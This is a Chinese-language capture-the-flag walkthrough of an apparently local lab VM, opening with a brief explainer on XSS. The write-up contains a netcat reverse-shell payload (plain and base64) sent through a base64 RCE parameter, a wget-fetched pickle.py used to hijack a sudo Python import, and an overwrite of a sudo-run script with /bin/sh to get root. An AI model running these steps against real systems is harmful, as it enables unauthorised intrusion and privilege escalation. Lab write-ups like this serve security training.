文章目录
每日一学
No.3 XSS原理
1.XSS是跨站脚本攻击
2.XSS是HTML代码的注入
3.XSS是通过网页,注入浏览器可执行代码,从而实现的攻击手段
4.WEB应用混淆了用户提交的数据与JS代码的边界
信息收集
先扫下网段,找下IP
nmap -sP 192.168.2.0/24
继续扫扫端口等信息
nmap -sC -sV -p- 192.168.2.19
又是一个只开web的靓仔
看看是个什么东西,一来就让我数花瓣,直觉告诉我可能有SQL注入
抓个包看看,我感觉这就是赤裸裸的注入点了,直接SQLMAP一把梭
python sqlmap.py -r 1.txt --batch
但是好像确实没有注入····
扫个目录看看
gobuster dir -w directory-list-2.3-medium.txt -u http://192.168.2.19 -x txt,html,zip,php
然而并没有扫到什么有用的东西
漏洞利用
这个时候感觉没啥路子可以走了,仔细看了一眼源码,之前抓的那个包好像不是花的名字,抓到的是base64的加密值,解密发现是2个数字相加,那这个点很有可能是个RCE的点了
这里base64解密是两个数字相加,然后我们首页得到的结果却是两数之和,我们执行个命令试试
我这里传入system(‘ls’)的base64加密值,得到的返回结果明显是ls的返回结果,那这个地方是可以直接RCE的
反弹一下shell,顺便提升一下权限
system('nc -e /bin/sh 192.168.2.7 3333')
petals=c3lzdGVtKCduYyAtZSAvYmluL3NoIDE5Mi4xNjguMi43IDMzMzMnKQ==
反弹成功
sudo看到了一个可以不需要密码的,是rose的一个脚本
sudo -l
所幸,我们有读的权限
这里导入了一个pickle库,然后对diary进行了序列化,我们这里可以对pickle这个库进行劫持,python在调用包的时候会优先调用和本程序在同一个文件夹下的文件,我们如果创建一个pickle.py,那么当他import的时候就是调用我们的这个脚本了,我们当然可以在这里面放上想执行的命令了
果然和我想的一样,我们拥有这个目录的全部权限
我们在本地创建如下的脚本
然后再下载到目标的diary目录内
python3 -m http.server
wget http://192.168.2.7:8000/pickle.py
chmod +x pickle.py
准备工作完成后我们只需调用sudo即可
sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py
此时成功的拿到了rose的权限,拿到第一个flag
看一下suid,没发现什么可以利用的东西暂时
find / -user root -perm -4000 -print 2>/dev/null
权限提升
看看sudo,还真有root执行的东西不需要密码,虽然我第一时间看到了这个.plantbook,但是看到它的权限构成第一时间对他没兴趣,现在看来关键就是它了
执行一下看看
sudo /bin/bash /home/rose/.plantbook
合着这又是让我数花瓣啊
他这里把我的结果打印了一遍,然后输出了时间,那我们这里可以覆盖掉这个输出时间的命令
这里执行的date命令,尝试覆盖一下看看
在与这个.plantbook的同一目录/home/rose下创建一个date
echo "/bin/bash">date
chmod +x date
export PATH=/home/rose:$PATH
这里我失败了,原因应该是这个脚本在调用date的时候使用的是绝对路径
我仔细看了一下,这个所有者是rose啊,那我们完全可以往这个文件里面加点料呀
rm .plantbook
echo '/bin/sh'>.plantbook
然后执行
sudo /bin/bash /home/rose/.plantbook
此时我们已经是root了
总结
总结:挺简单的一套,从头到尾贯彻了一个思想,替换!能把假的搞成真的那就使劲搞!